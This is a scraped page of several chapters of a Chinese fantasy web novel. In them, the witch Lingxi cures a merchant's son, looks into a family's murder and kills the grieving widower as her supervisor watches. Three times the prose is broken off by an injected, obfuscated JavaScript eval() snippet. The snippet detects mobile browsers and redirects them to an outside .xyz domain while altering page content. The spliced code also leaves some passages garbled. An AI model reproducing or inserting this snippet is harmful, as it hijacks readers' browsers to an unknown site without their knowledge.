“我是巫师,也是你们常说的巫医。今日路过府上,见天有异色、阴气盘旋,算到你家近日怕是有厄运缠身。进来一看,果不其然,令郎既受伤筋动骨之痛,如今又梦魇不醒,”灵汐早就想好了民间常用的说辞,娓娓而谈,“如果我没看错,令郎这是惊吓过度,被吓掉了魂,得唤齐了魂才能好,我们巫医啊,正好专业对口。” “哼,老吴,把这江湖骗子赶出去!”家主貌似十分鄙夷招摇撞骗的江湖术士。 管家撸起袖子,不知从哪儿抄起一支竹竿就要轰灵汐离开。 灵汐手指一点,竹竿便燃起火焰烫得管家抛出手去,众人震惊不知所措时,灵汐坐上窗台身子一转便到了屋内。 “给我一炷香的时间,如果治好了,我要五十两白银;如果这孩子没好起来,我任你们处置。”没等任何人的回答,灵汐大手一挥,所有人都被一阵邪风卷到了外间,里间纱帐垂下,模糊了众人视线。 忽视身后大呼小叫的吵闹声,灵汐专心探查起孩子的身体状况,右手右腿两处断骨都是新伤,体温高热,体内各种灵质紊乱,神魂不明。 灵汐闭目调动灵气,默声咒下混乱躁动的灵被一丝丝捋顺,喃喃呓语亦逐渐平息,最后,裂开缝隙的骨骼也一点点重新弥合。 一刻钟后,灵汐睁开双眼,青竹语正站在旁边无比认真地观摩,直至灵气流动停息之时,高挺眉骨下的沉静双眼仍流露着思考之色。 灵汐没理他,起身挥挥手,纱幔向两侧卷起,帘后众人皆翘首以盼,空气中都燃着一股心急火燎的焦味。 “醒!”灵汐一点男童额心,男童便顺利醒来。 青竹语即刻退至一旁,余氏夫妇飞奔而来抱住孩子嘘寒问暖,只一个不注意,灵汐就悄么声地解下了孩子腿上的夹板提在手里。 “哎,解不得解不得!我好不容易固定好的!”李郎中一看有人拆了自己的固定带,顿时健步如飞地上前阻止。 灵汐弯下腰,用力拍拍孩子受伤的那条腿,这下不仅老郎中,连那原本欢天喜地的夫妇二人都惊恐万分地伸出手去护孩子的腿:“大师,您这是做什么!” “好了!好了!”一众惊恐目光中,灵汐对上妇人怀中两道懵懂清澈的眼神,“腿好了,手也好了!起来试试!” 男孩懵懂但听话地借力起身,竟真的在床上站了起来,又蹦跶两下:“我好了!爹,娘,我真的好了!一点都不痛了!” 夫妻二人拉着孩子左看右看,李郎中比孩子还要激动:“老夫不是在做梦吧!天下竟有这等奇事!” 孩子欢欢喜喜地扑进他娘怀里,又被当爹的亲手挖出来:“快,快感谢这位大师!” 孩子软软糯糯道了谢后,夫妻二人又纷纷作揖鞠躬:“大师真有神通!余某人顶礼膜拜!先前是我有眼不识泰山,还望大师海涵!” 灵汐托住两人手臂,礼貌微笑道:“不用谢,我要钱的!” 夫妻二人被灵汐的直白惊到表情凝滞一瞬,随即又笑逐颜开:“应该的应该的!我们一定重重感谢大师!快,管家!” 灵汐伸出一只手摆了摆:“五十两哦。” 余老爷:“没问题,没问题!请大师随我移步前厅休憩一番,我为大师准备茶点!” 缩在余夫人怀中的孩子也探出头来:“娘,我也饿了。” 灵汐出言解释:“令郎的断骨疗愈消耗过多,他刚醒来这几日会非常饿,你们不必担心,多给他吃些鱼啊肉啊菠菜豆腐什么的,等补完亏空,胃口自然就恢复正常了。” 余夫人不断道谢:“多谢大师,多谢大师!王妈,听到了吗?快让厨房准备吃食!” .< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305758|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 众人移步宽敞的待客厅后,余老爷先叫人上了精美茶点和上好的茶叶,管家又端着一方方正正的木托盘放到灵汐手边方几,上面躺着五枚圆润银锭。 余老爷笑呵呵道:“大师,您先润润口,我已叫人去备车了,今晚我在望江楼设宴招待二位!” 又是望江楼?真是巧啊,可惜诱惑力不大。 灵汐向来不喜交际,也不想和陌生人吃饭,而且,自己中午刚吃过他们店的所有招牌菜,现在还饱得很。 灵汐嘴角又挂上了礼貌微笑:“不用麻烦了,我已经收到应得的报酬了,不必……” 余老爷:“不麻烦不麻烦,实不相瞒,这望江楼就是我家开的。” 灵汐:“哈哈,原来是你开的啊!” 怪不得你家这么有钱,那酒楼死贵死贵的能不赚钱嘛! 余老爷:“不知大师如何称呼?” 灵汐脑子一转,编出一个假名:“望山。” 身旁射来两道质疑的目光,灵汐不闻不问不动如山。 “望山大师,您不知道您帮了我多大的忙啊!自从幼子三日前受伤,精神一直很差,找了许多郎中都说是受了惊吓要安神静养,但他每日昏昏沉沉地抱着他娘一步都不肯离,一入睡就噩梦缠身,日夜啼哭,我与夫人看着小儿受此折磨,也是难受极了……”余老爷说着说着竟红了眼睛泛起泪花来。 灵汐:“他受惊吓和受伤有关?” 余夫人听闻,当场拿出手帕抹起眼泪来:“唉,都怪我!我三日前去山上烧香,本是求个家宅平安,谁知会遇上那种事,害苦了我儿!” 灵汐:“什么事?” 余夫人还在抹眼泪,余老爷就接过话头:“唉!我夫人每逢初一十五都要去城外三台山清心观上香,不只我夫人,城中许多女眷都有这个习惯的。三台山离宁海城也就二十多里路,去观里上香、祈福、添香油,顶多一日来回,从未出过事! “那日夫人照常带着轩儿一同前去,到了观里也一如往常自己去上香,让丫鬟带着轩儿在山上玩儿,可谁知……那日贺家夫人也去上香了,她也是时运不济,竟然在山上遇到山匪,被贼人谋财害命了! “轩儿那时正在林中捉虫子玩,他平日就爱摆弄那些小虫子,什么蜻蜓、蝴蝶、蛐蛐、天牛……每次上山都要带许多竹笼子,回家时就装着各种小虫子回来……不好意思,说远了。 “那日,跟着轩儿的丫鬟正巧回马车取空竹笼,我家轩儿好巧不巧,看见了下面山道上山匪杀人的全过程!他当时吓坏了,往道观跑的时候脚下不稳,从一木板桥摔了下去,也不知是福是祸,那桥下河道没什么水了,都是石头,轩儿这才摔伤了骨头!” 还真是跌宕起伏、无巧不成书的一段剧情啊! 但灵汐不能这么说,于是道:“不管怎样,令郎现在无碍了。” 余老爷也从回忆中抽离:“对对对,托您的福!多亏了您!” 余夫人已止住抽噎声,整理好仪容,却情不自禁地叹了口气:“唉,最可怜的还是贺家母女,贺敏可真是个好人,谁知好人没赶上好报,宁海城附近这几座山都多少年没闹过匪患了!突然闹这么一遭还被她赶上了,她女儿也就轩儿这么大,那么小的孩子也……真是老天没眼!” 山匪?灵汐隐隐嗅到了另一个赚钱的机会。 “那伙山匪被抓住了吗?” 没抓住的话,官府有悬赏吗? 17. 匪患·上 灵汐:“那伙山匪被抓住了吗?” 余老爷:“没有!宁海多年没闹过匪患了,根本不知道这伙人是从哪儿来的,杀了人抢了钱就消失了,官府这些天去搜山也没找到,贺家女婿重金悬赏贼人,很多人为了赏金去找,也没找到。” 灵汐:“重金悬赏?有多重?” 余老爷:“嘶——我想想,多少来着?” “老爷,是一百两黄金。”管家适时接话。 追踪寻人向来是灵汐所长,这钱除了她还能有谁赚? “这家人住在哪儿?” 余老爷:“贺家也在锦荣街上,从我家门口一直往东走,过一道石桥,再往东走走就能看到贺宅了。大师,您问这个是?” 灵汐站起身:“感谢余老爷的好意,您不用留我了,今日我还有事,没时间用餐了。不过我初来宁海,人地两疏,您要是想报答我,不如替我传名一二,您这街坊邻居谁家有难解之事,劳烦引荐。” “大师既然已有打算,老夫不敢耽误您时间。不过大师,您平日在何处修行?若是有求于大师,该去何处找您啊?” “你知道城西那座山上有座山神庙吗?” “知道知道,我们宁海人管它叫西屏山,是九幽山脉的余脉。” “山神庙后有棵老银杏树,找我的话,对着那棵银杏说出所求之事就好了,我能听得到。” . 从余府出来,灵汐掂了掂手中沉甸甸的钱袋,满意地向东而去。 青竹语跟在身旁冷不丁开口:“望山?” 灵汐:“人在江湖混,谁没几个假名啊。” 青竹语呵笑一声:“不无视我了?” 灵汐:“工作状态下请不要打扰我。” 青竹语:“这是什么规矩?” 灵汐:“我的规矩,你爱守不守,反正我工作时不会理你的。” 青竹语:“你要去抓山匪吗?” 灵汐:“反正时间还早,过去看看。” 走到石桥时,远远便听到了如泣如诉的哀乐声。又走了一会儿,便看到了裹在素净白绸中的贺宅大门。 白墙黛瓦中低调的乌漆大门和题着“贺宅”的牌匾都系上了光滑柔顺的白色绸布,身着素色衣衫的人们时不时在大门穿梭往来,都是前来吊唁的。 灵汐依旧来去自如地踏进贺宅。 穿过装点着白绸白灯笼的轿厅和长廊,视野豁然开阔,便到了与大门相比明显精致不少的腰门,门楼石雕精美,悬有一楠木鎏金的匾额,上题“云锦园”。 穿过腰门来到前院花园,小桥流水、山石叠布、一花一树、一窗一景,都看得出经过原主人的精心雕琢。 可惜如今都覆上了一层冷冰冰的素白,连高处树枝和房檐都挂着一道道白色帷幔和灵幡,为亡魂指引回家的方向。 院中既有道士设的的法坛,也有僧人做的水陆道场,诵经声与恸哭声交织在一起,听得人既伤怀又安心。 灵汐看着院墙上每隔一段距离就精雕细琢的石雕壁画,心下感叹“比那开望江楼的余家还有钱,来对了!” 再往前走走,绕过法坛,就能看到正对前花园的正厅被布置成灵堂,一大一小两个楠木棺停放于正中,堂中摆满了金银箔纸扎成的金山银山和做工精巧的纸扎制品,从宅院车马到侍女仆从一应俱全。 灵位前一身披孝服的少女双眼失神地跪坐着,虽然手上在不停烧纸,但灵魂似乎早已不在这里,就那么安安静静地盯着火盆暗自垂泪,既不出声也不抬手拭泪。 “啊——敏敏啊,珠儿啊——我的夫人,我的女儿,没了你们我可怎么活啊——”一个白色身影从堂后奔出,狼狈地扑到灵位前,开始哭丧,“不要丢下我一个人啊,老天爷,你怎么这么狠心!你也把我带走算了……” 一旁伺候的仆从和来往吊唁的宾客纷纷上前扶起这位趴在地上的男子,七嘴八舌地劝导: “姑爷,您怎么又出来了?” “林老爷注意身体啊。” “节哀顺变……” “节哀啊林老爷……” “奇怪……”灵汐看着哭得死去活来的男子,眯起眼睛道。 “怎么了?”青竹语也端详起那位哭得惊天动地的男子,想找出灵汐发现了什么。 灵汐在前院随手拽住一个路过的妇人,拿下巴指了指已经上气不接下气的男人:“你好,请问那就是死者丈夫吗?” 妇人朝灵堂看了看:“对,那就是贺家姑爷啊!死者不只他夫人,还有他女儿,唉,那孩子才五岁,真可怜……” 灵汐:“你能给我讲讲这家的事吗?” “你是谁啊?你不是来吊唁的吗?”妇人在疑惑中充满了警惕。 “我路过的,不太了解,您就给我讲讲吧。”灵汐摊开手掌,朝妇人吹一口气,无数细小的白色粉末被妇人吸入鼻中。 青竹语注意到这边的异样,一把抓住灵汐肩膀:“喂!不要对……” 灵汐飞去一记眼刀,咬牙道:“无害的!” 妇人几息之间便放松下来,身心愉快中倾诉欲也变得极强:“你问我可是问对人了,我是土生土长的宁海人,就在贺家的绣庄当绣娘,对贺家之事那可是了如指掌!” 灵汐十分捧场:“那您说说,那贺家姑爷是何许人也?” 妇人开始滔滔不绝:“那贺家姑爷原名林朔,原先就是一穷书生,但颇有才华。贺老爷曾资助他读书科举,成了举人后被贺老爷看中,招他做了大女儿的赘婿。 “贺家那是什么人家,那可是江南首富,他们家的织云锦啊天机缎啊,那都是给皇族的贡品,这林生虽是入赘,但也算是飞上枝头了。 “虽然林生放弃了科举之路,但贺老爷对他十分重视,亲自教导他做生意,把家中产业一点点地都交给他打理了,现在啊,贺家的生意都是他在做主了!” 灵汐:“为什么会把生意交给女婿?”不是还有女儿吗? “啧,”妇人面露遗憾,“贺老爷这不是只生了两个女儿、没有儿子嘛!这做生意迎来送往、抛头露面的,女儿家不方便,就只能招赘婿打理家业了呀!” 灵汐:“那贺老爷呢?” 妇人长叹口气:“唉,贺老爷积劳成疾,几年前去世了。我想想,也就是三四年前的事吧?那时候来吊唁的人啊,这大宅子几乎都装不下啦!贺老爷生意做得大,还是出了名的大善人,不仅宁海城,其他州郡也来人了!哎呀,我看贺家该看看风水了,怎么几年之间,家里人接连遭灾呀?” “春梅嫂子,你也来吊唁?”一个提着竹篮的妇人朝灵汐三人走来,提篮上盖着层白布,看不清里面有什么。 “对啊,彩霞,你也来啦。”灵汐身旁的妇人也招呼道。 彩霞走至身前,看着灵汐:“这位姑娘是?” 灵汐:“不重要,我们就是在这碰到了,随便聊聊。” 名唤春梅的妇人接过话头:“没错,我这正说着呢,这大小姐继承了贺老爷的秉性,真是好人!” 彩霞:“是啊,我家孩子去年生病买不起药,还是大小姐给我家掏的钱呢!没想到她竟遭此劫难,真是老天没长眼!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305759|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春梅:“谁说不是呢,我之前也受过大小姐不少恩惠,她走了谁不伤心呢!” 灵汐打断两人:“这贺家姑爷平日里和贺大小姐关系怎么样?” 春梅抢先答道:“恩爱得很!那个词怎么说来着,相敬如宾!和这姑爷打过交道的人都知道,他呀,无时无刻不惦记着夫人,平日里夫人长夫人短的,有点什么好东西都得先送到夫人手里,对贺大小姐可好了!你都不用听我说,你看看他哭的那样子,哎呦,要死要活的!” 彩霞抓到空隙插嘴:“我听说停灵这几日,贺家姑爷都哭昏过去好几次了!” “可不是嘛!你来之前他就昏过去一次,你是没看到,醒过来之后又哭着喊着跑出来跪着!对贺大小姐那是用情至深啊……”春梅左右张望,轻咳一声,神秘兮兮地指指院中的法坛,压低声音,“看到没?他还请了好几批僧人道士,日夜不停地做法事,只求超度亡魂,让她们母女安息,这可得花不少银子呢!” 彩霞:“这可是凶死,肯定要做法事的……” 灵汐留下聊开了的两人继续闲话,抬脚向灵堂方向走去。 捉住一个来送纸钱的侍从,从托盘抽出一张裁好的黄纸,引灵作画画下一只蝴蝶,灵汐拿着黄纸在空中一转,黄纸燃起火焰,火焰燃尽之时,黄纸只余一只飞鸟形状,那只纸鸟竟扇动翅膀几欲起飞! 目睹全程的仆从被震惊得说不出话来。 灵汐将纸鸟递给他:“把这个交给你们姑爷,就说我是西屏山上的巫师,十分擅长追踪寻人,如有需要,这只飞鸟能带他找到我。我,非常期待他来找我。”随后转身离开。 青竹语满腹疑惑地跟在后面:“这就走了?” 灵汐:“太吵了,一时都不想多待。” . 去望江楼接渡沙时,渡沙正坐在一个角落里眼巴巴等着。 灵汐怜惜地摸摸渡沙的头:“你没再点些别的吃的吗?怎么就在这干坐着?” 渡沙摇摇头:“没有。” “走吧,去逛街,我们有钱了!”灵汐拉着渡沙走出望江楼,一行三人在繁华街市上缓缓踱步,“听说城北有夜市,我们晚上可以去那儿吃东西……” . 说一次谎话就要付出十倍百倍的精力去圆谎,灵汐真真切切体会到了这句话的意义。 为了圆“这黑黢黢的山洞后就是扶月山庄”这个谎话,灵汐不得不在山洞中真的设置了一个传送阵,启动阵法后可直达山庄内部。 三人牵了三匹马回到扶月山庄,灵汐一进山庄就撒开缰绳放马自由,自己朝躺椅飞奔而去。 躺椅旁的石桌上十分突兀地摆着一只瓷碗,灵汐路过时伸出两指点在碗底,一层墨色水波从发梢褪去,顺着肩膀手臂而下,在碗中聚起半碗墨色汁液,一头黑色长发就又恢复成张扬的红色。 渡沙皱着眉头牵起被灵汐抛下的马,认认真真带着青竹语把马安顿到一处棚子中。 两人回来时,灵汐正懒洋洋地躺在椅子上晒月光:“让它们在山庄里自由行动就行了,我不介意的。” 渡沙拒绝道:“不,从今天起,那个东北角的小棚子就是马棚。” 渡沙难得有拒绝灵汐、提出自己想法的时候,灵汐爽快答应:“好的,没问题。” 三人排排坐享受月光浴,灵汐发自内心地叹道:“城里确实好吃,我们以后经常去城里吃吧。” 青竹语:“你买完马后就没钱了。” 灵汐:“贺家那个赘婿会来给我送钱的。” “这么肯定?” “非常肯定。” 18. 匪患·中 灵汐声色不动地看着一枝在阳光下起舞的小草。 扶月山庄坐落于巨榕之下,只有边边角角才能洒下零零碎碎的日光,此时树冠罅隙漏下的一缕阳光刚好照到一棵鲜绿色的小草。 周围的草丛都很安静,唯有那棵阳光下的小草摇摆着叶片无风起舞,那是一种纯粹的快乐,灵汐正专注地感知着它的快乐。 忽地,灵汐感应到一股微弱的灵气流动——有人在调用灵气。 . 青竹语对随处发呆、一呆就是大半日的灵汐已经见怪不怪,远远看着草地上一动不动的背影,青竹语拿出通信竹,执笔写下“高危险性巫师灵汐近日行为记录禀复”。 全部写完发给灵山,再抬眼时,灵汐已经坐到了对面的亭边靠椅上。 她只穿一身最简单的素色长裙,但那一头红发就是最艳丽的装饰,随手束起的低马尾松松垮垮地散落在肩背上,偶有几缕发丝逃脱束缚,就那么随意搭在鬓边。整个人慵懒肆意地倚靠在栏杆上,托腮看着青竹语。 “你在给灵山呈报我的情况吗?” “对。” 灵汐轻灵一旋从靠椅转移到石桌边,与青竹语相对而坐,又换了只手撑着头,平淡的语气似乎只是在问不相关的人:“你是怎么说的?” 青竹语略作思忖,缓缓开口:“近日行止算是安分,也能顺利融入人间市井;不过常有藐视规则之举,虽目下只是图行事便宜,无伤大雅,但有此积习,恐留祸根;另有习惯会本能地隐瞒真实身份,现下猜度是疑心深重,或是缺乏安全感之由。” 青竹语越说,灵汐的眉头就越拧巴。 “别的先不说,为什么这里面会加你的个人揣测?用你的主观臆断引导、影响灵山的判断,这对吗?这是十巫允许的吗?” “虽然行为表现对评估很重要,但面晤相交所感应到的气场、直觉也同样重要,这是千里之外的十巫没办法感知的,所以需要监律使作为耳目代为判断。我会如实上报我的感受,不会瞒报,也不会添油加醋,一切交由十巫定夺。” 灵汐十分冷淡地面无表情,淡到青竹语都不确定她到底有没有在听。 “你要是有什么反省悔过的心得体悟,也可以和我说说,我会如实禀报给十巫,这也有利于你顺利通过管束期评估,” 灵汐毫无波澜的脸上掠过一抹笑意:“你别说,我的确是个善于反思的人。” 青竹语摆出一副洗耳恭听的表情,伸出一只手掌做了个“请”的动作。 灵汐低垂着眉眼开始诉说:“我这辈子第一件后悔的事,就是第一次杀人时,还不懂得斩草除根的道理,给自己留下太多麻烦——” 灵汐特意拖长了尾音,眼睛随着嘴角同时升起来,打量着青竹语:“那次之后,我学到的最有用的教训,就是斩、草、要、除、根,绝不给自己留后患。” 青竹语面色沉如水,紧凑在一起的眉压眼自带一股凶气,但开口却仍旧冷静:“你说这个是想让灵山夸你有进步吗?” 灵汐耸耸肩:“不用你们夸,我向来知道自己学习能力很强。” 青竹语:“你挑衅灵山只会让你的改造评估更难看,让管束期再延后。” 灵汐气笑了,正想着如何气回去,对面端坐着的人又抛出问题:“你为什么要杀令杰?” “不是说了吗,他先骚扰我、袭击我的,他先动手、我才反击的!”这个问题在灵山已经说过许多次了,尽管风意坚持认为是灵汐含血喷人,灵汐都从未改过一字说辞。 “这个我信,”青竹语紧紧盯着灵汐,“但幽瞳湾和祁达山村寨,又是为何?” 在灵山集会上,灵汐也被问过无数次这个问题,但当时灵汐只想赶紧被判重罪昭告天下引司月现身,因此只答过“他们惹到我了”“看他们不顺眼”云云。 现下,认真思索过后,灵汐给出了新的答案:“这是秘密,不能告诉你。” 无声对峙许久,青竹语率先打破沉默:“你既不肯说,那还有事吗?” 灵汐:“等回信。” 青竹语:“?” “我要看十巫的回信。” “我不能给你看。” “那我不看,你读出来。” “你知道‘不能给你看’是什么意思吗?” 又是一阵沉默,灵汐开始对着青竹语发呆,青竹语甚至觉得灵汐看自己的眼神和她平时看花花草草的眼神别无二致。 桌上的通信竹莹莹亮起,青竹语拿起竹片一一阅过闪现的字体,又抬头看向对面歪头盯着自己的灵汐:“我不会给你读的。” 灵汐:“我会读取记忆的巫术哦。” 青竹语只愣住一瞬,竹片便飞出掌心,停在灵汐面前。 . 九幽山脉最东端——西屏山上。 一辆马车停在山道上,一只纸鸟挥动着翅膀从轿厢中飞出,摇摇晃晃地朝山神庙飞去,几个披麻戴孝的身影紧随其后。 林朔额上已经有了一个渗着血的红印子,手中抱着灵位,在侍从的搀扶下踉踉跄跄地跟着纸鸟来到山神庙后银杏树下。 林朔“咚”一声跪在地上,扯着嗓子哭号道:“大师!望山大师!听闻大师之神通,鄙人请求大师为妻儿做主!大师,我妻儿死得冤啊!请您为我做主!大师……” 灵汐站在一片素白队伍之后看着跪在树下哭喊的男人,只觉得有些吵。 “喂!” 几人齐刷刷回头,灵汐直直望向树下的林朔:“找我干嘛?” 两个侍从一左一右将林朔扶起,林朔快步来到灵汐面前:“您……就是望山大师?” 灵汐:“是我,有事吗?” “您终于现身了!余公说您年轻有为,没想到您……竟如此年轻!”林朔的惊讶只出现一瞬,就立刻换上了一副谦卑之色,“在下从余公处听闻大师身怀神通,特来拜谒,恳请大师垂怜,成全在下夙愿,在下一定铭记恩情,重金相酬!” 灵汐还是一贯的冷脸:“具体什么事,你跟我来吧。其他人,就在这等着吧。” 林朔将灵位交给侍从,跟着灵汐走到一簇树丛之后,只觉眼前一黑,又明晃晃一亮,找回意识时已经到了一处奇异园林之中。 . 青竹语就在法阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305760|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不远处等着,见灵汐带人回来,脱口而出:“这么快?” 灵汐没有看他,只“嗯”了一声就带着来人就近朝一处水榭而去。 为林朔上了茶,灵汐便直入正题:“你有什么夙愿?” 林朔刚把茶杯提到嘴边,又讪讪放下:“大师,您应该也听过我妻儿的惨案吧,我夫人和五岁的女儿惨死于山匪之手,我实在是……”说了没两句,这人就垂下泪来。 灵汐已经挂上了礼貌的假笑:“我知道,我在你家给你留了口信的,但你直到今天才来,想必是一开始并没打算找我,是听了余家的举荐之后才决定来的吗?” 林朔从袖中拿出丝帕擦了擦眼泪:“实不相瞒,自从妻儿去世,我请了不少僧人道士日夜做法,很多江湖术士便见财起意,都来我家自荐,但,都是些坑蒙拐骗之徒!我以为大师您也是……不过,在下听闻您救了余家小公子,这才知道是在下有眼不识泰山,所以……” 灵汐:“好了,直接说你想让我干嘛吧。” 林朔没有被打断的不悦,反而立即站起身行了个拱手礼:“大师可否为我妻儿超度安魂?” 灵汐保持微笑:“只是超度安魂吗?” 林朔又落下泪来:“在下现在,别无所求,只求妻儿能够安息……” 灵汐:“那很简单啊,没问题。” 林朔抹着眼泪道:“大师,我妻儿两日后下葬,您可否在出殡前来我家中做法?您需要些什么尽管说,我让人一一备好,什么米酒、祭品、法坛,我都为您准备最好的!” 灵汐感叹:“您对妻儿还真是情深义重啊,想必你们一家感情一定很好吧?” “我与夫人情投意合恩爱有加,我们的珠儿活泼可爱乖巧懂事,我怎会不疼爱她们……”林朔越说越伤心,不禁声泪俱下,“她们都是我的心头肉啊!老天爷怎么这么狠心,怎么忍心夺走她们啊!我的夫人,我的珠儿,她们不在我活着还有什么意思,我活着还有什么意思!当初我怎么就没和她们一起去呢,我去了至少能帮她们挡一挡那恶匪的刀刃!都怪我啊,你们干脆带我一起走算了,我宁愿跟你们一起走,也不想独自在这世上忍受思念之苦啊……” 林朔哭着哭着就瘫软在地上,拿头往柱子上撞得“咚咚”作响,那悲怆之状真是叫闻者伤心、听者落泪。 灵汐也像是于心不忍,勾起的嘴角落了下去,默默起身向林朔走去,像是去扶他起来。 灵汐走到林朔跟前蹲下,一手扶上肩膀,另一手从袖中滑落一柄黄檀茶刀,刀刃以迅雷不及掩耳之势划开林朔喉咙,喷溅而出的血液还来不及沾上近在咫尺的灵汐,就被一道无形壁障隔挡在外——灵汐早有预判,施术护身。 青竹语就在一旁目睹了全过程。 灵汐全程都没有一丝一毫的杀气外泄,连一丝凶戾之气都无,手起刀落仿佛只是抬手拂去身上的一片落叶,一切发生得都是那么自然,仿佛只是天凉了添衣、日落了点灯的动作那般顺其自然、无可置疑。 直到鲜血喷涌而出的那一刻,青竹语才反应过来她做了什么,然而为时已晚。 “灵!汐!” 19. 匪患·下 “灵!汐!”一柄银色长剑从青竹语腰间万象袋飞出,直抵灵汐颈侧,“你疯了?” 青竹语紧随飞剑之后,直奔地上瘫软的人影,双手紧紧捂住喷血的颈脉,心急如焚地念起疗愈咒语,却发现调动不了一丝灵气。 青竹语当即反应过来是怎么回事,回头冲灵汐怒吼:“救人!” 灵汐手中捏着那柄银白长剑,用力向身后一甩,剑尖没入木制地板,剑柄还在空中晃啊晃。 “你没听到吗?是他自己说想下去陪妻儿的,我不过是满足他的愿望,”灵汐摊开双手,做出一副无辜神态,“虽然这个要求很奇怪,但我一向尊重每个人的个人意愿。” “你别装傻!你这是谋杀!”青竹语额头青筋暴起,手下用力捂着伤口,却怎么都堵不住大股大股涌出的鲜血。 灵汐看着地板上洇开的大片血迹,又往后退了几步,估摸着自己的站位沾不到血迹后,才继续争辩:“刚才你不是在场吗?他说了宁愿和妻儿一起走,我是在成全……!” “闭嘴!快救人!” 两人隔空相峙,青竹语唤不动一丝灵气,只能被迫感知着手下那人跳动的颈脉急速流失活力,喉中用力呼吸的“嗬嗬”声也越来越小、逐渐沉寂,最终血泊当中只余青竹语一息生灵。 灵汐淡漠地注视了全程。 青竹语放开手中已经失去生息的尸体,满溢怒气的通红双眼锁定灵汐,比他一身青衣上的鲜红血花还要骇人。 “管束期内杀人、当着监律使的面杀人,你到底有没有把灵山放在眼里!”暴怒的青竹语携着满身血腥味冲到灵汐面前,指着灵汐的鼻子质问道。 而灵汐依然从容不迫、纤尘不染,和对面目眦欲裂、血污遍身的青竹语两相对比,若是叫不明真相的路人看了去,还真会让人分不清到底谁才是刚刚杀了人的那个。 灵汐一手拨开眼前的手指:“你生什么气?我实现了他的愿望,他该感谢我好吧?” 青竹语愤然绕过灵汐,拔出地板上的长剑,寒光一闪剑指灵汐:“你目无法纪、草菅人命、无法无天,我现在就要押你回灵山受审!” 灵汐当即施下滞身术牢牢锁住青竹语,使其动弹不得,看到青竹语察觉不对劲面色一变,灵汐这才眼神一转,看向青竹语身后半空之中、连接巨榕与水榭后方楼阁的生根桥—— 渡沙猫似的跪立在藤桥上,手持双刀正瞄准青竹语的后颈,只需一个弹射,便可取其首级。 灵汐厉声道:“不关你的事,离远点!” 渡沙凛若寒霜的面容流露出担忧之色。 灵汐:“我自己能解决,你离远点!” 渡沙犹豫一瞬,还是听话地转身跳出了灵汐的视线。 被灵汐限制住身不由己的青竹语则是恼羞成怒:“你,论巫力我不如你,要杀要剐悉听尊便!” 灵汐无语:“我没说要杀你啊。” 青竹语却愈发激动:“你要么现在就杀了我,否则,只要我活着,我一定会将你的罪行上报灵山,绝不让你逍遥法外!” “呦,人族文化学得还挺好,会挺多词啊!”灵汐转身挥挥手,渗入地板的血水被一滴滴汲取分离,浮至空中——泡久了就不好清理了,“你倒是说说,我犯了什么法?” 青竹语:“你说呢?明知故问!” 确定地板中的血水都分离出来,灵汐才回过头看向被定在原地的青竹语:“我不知道啊,我只记得当初的守则里有一条‘不可利用巫术剥夺他人生命’,我没有用巫术啊,我特意手动送他上路呢!” 青竹语气极:“狡辩!强词夺理!不管你用什么方法,这就是谋杀!” 灵汐翻了个白眼:“那是你之前没说清楚喽,你们只说过‘不能用巫术杀人’,没说不能自己动手杀人吧?” 青竹语:“这是用什么方法的事吗?谋杀就是谋杀!” 灵汐:“那也是他谋杀在先,人族讲究杀人偿命,他这算是罪有应得,我是替天行道。” 青竹语:“他谋杀?你怎么知道?” 灵汐:“你看不出来吗?他夫人女儿都是他雇人杀的。” 青竹语:“证据呢?” 灵汐耸耸肩,表示没有。 青竹语:“没有证据,你就是造谣中伤、为己脱罪。你要么杀了我,要么就等着十巫审判吧。” 灵汐实在不懂:“干嘛要死要活的?你要给他殉情啊?” 青竹语一脸宁死不屈的倔强:“你不想杀我,为何将我束缚在此?” 灵汐有种有理说不清的无力感,只能拔出他手中长剑扔远点儿,唤出通信竹塞进他原本握剑的手中:“行啊,那你赶紧告诉灵山吧!” 话音刚落,青竹语不仅恢复自由,也重新感应到了灵气流动——是灵汐放开了灵气钳制。 青竹语瞪了灵汐几眼,忍下怒气没有爆发,当即拿出笔来给灵山写信。 灵汐:“记得写清楚,我可不是用巫术杀的,不算违反守则哦!” 青竹语面色铁青:“守则后面还有一条,在人族地界、与人族往来要遵守人族律法。你不是倒着都会背吗?” 灵汐:“……”我需要静一静。 灵汐用浮空之术操控着尸体和血水,抬脚向水榭外走去。 “你要去哪儿?”身后传来的低沉语调难掩愤慨。 “放心吧,不会跑的,我头上的杀人罪,还缺他这一条吗?” . 灵汐边走边琢磨,灵山答应放她出来,不监禁只管束,想必也有她们的目的。 对巫师来说,最诱人的无非就是那“修炼秘法”。 